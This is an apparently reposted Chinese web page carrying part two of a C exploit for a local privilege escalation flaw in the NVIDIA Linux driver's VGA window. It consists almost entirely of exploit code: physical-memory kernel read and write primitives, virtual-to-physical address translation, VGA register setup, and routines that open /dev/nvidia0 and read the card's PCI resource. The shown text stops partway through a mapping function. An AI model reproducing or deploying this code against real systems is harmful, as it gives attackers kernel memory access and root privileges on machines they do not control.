NVIDIA Linux Driver VGA Window本地权限提升漏洞(2)

unsigned long virt2phys(unsigned long addr)
{
    unsigned long phys;
    addr &= ~KERNEL_BASE;
    addr += kernel_ofs_phys;
    phys = addr & 0xffffffff;
    return phys;
}

// dest has to be 16-byte and slightly larger for unaligned reads
void *kernel_read(volatile uint32_t *m, void *dest, unsigned long src, unsigned long len)
{
    uint32_t rem, phys = virt2phys(src);
    void *ret = dest + (src & 0xf);

rem = (-phys) & 0xf;
    if (rem) {
        physread16(m, phys & ~0xf, dest);
        dest += 0x10;
        phys += rem;
        if (len > rem)
            len -= rem;
        else
            len = 0;
    }

for (; len; phys += 0x10, dest += 0x10, len -= len >= 16 ? 16 : len)
        physread16(m, phys, dest);

return ret;
}

void kernel_write(volatile uint32_t *m, unsigned long dest, unsigned long src, unsigned long len)
{
    uint32_t phys;
    unsigned long remaining, towrite, i;

phys = virt2phys(dest);

if (!m || m == MAP_FAILED)
        puts("not actually writing...");

if (1) {
        remaining = len;
        for (i = 0; i < len; i += 16) {
            uint32_t buffer[4];
            if (remaining < 16)
                physread16(m, phys + i, (uint32_t*)buffer);
            towrite = remaining > 16 ? 16 : remaining;
            memcpy(buffer, (void*)(src + i), towrite);
            physwrite16(m, phys + i, (uint32_t*)buffer);
            remaining -= 16;
        }
    }
}

static void mode_x(volatile uint32_t *x) {
    // Mode X

// 3c0
    x[0x310/4] = 0x000f0041;
    x[0x314/4] = 0;

// 3c2
    x[0x000/4] = 0xe3;

// 3c4
    x[0x100/4] = 0x000f0103;
    x[0x104/4] = 0x06;

// 3ce
    x[0x204/4] = 0x0f054000;

// 3d4
    x[0x400/4] = 0x82504f5f;
    x[0x404/4] = 0x3e0d8054;
    poke_byte(x, 0x408, 0);
    poke_byte(x, 0x409, 0x41);
    x[0x410/4] = 0x28dfacea;
    x[0x414/4] = 0xe306e700;
}

static int dirfilter(const struct dirent *d) {
    return d->d_type == DT_LNK && strchr(d->d_name, ':');
}

static int nvidia_fd(uint64_t *res) {

struct dirent **list;
    int fd, resfd, ret;
    char buf[256];
    ret = scandir("/sys/bus/pci/drivers/nvidia", &list, dirfilter, versionsort);
    if (ret <= 0)
        goto fail;
    sprintf(buf, "/sys/bus/pci/drivers/nvidia/%s/resource", list[0]->d_name);
    resfd = open(buf, O_RDONLY);
    if (resfd < 0)
        goto fail;
    read(resfd, buf, sizeof(buf));
    *res = strtoll(buf, NULL, 16);
    close(resfd);

if ((fd = open("/dev/nvidia0", O_RDWR)) < 0)
        goto fail;
    return fd;

fail:
    perror("COULD NOT DO SUPER SECRET HACKING STUFF, YOU ARE ON YOUR OWN!");
    *res = 0;
    return -1;
}

volatile uint32_t *nvidia_handle(int fd, uint64_t res) {
    // access 4 bytes at a time or things go weird
    volatile uint32_t *m;

if (fd < 0)
        return MAP_FAILED;

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wypjzp.html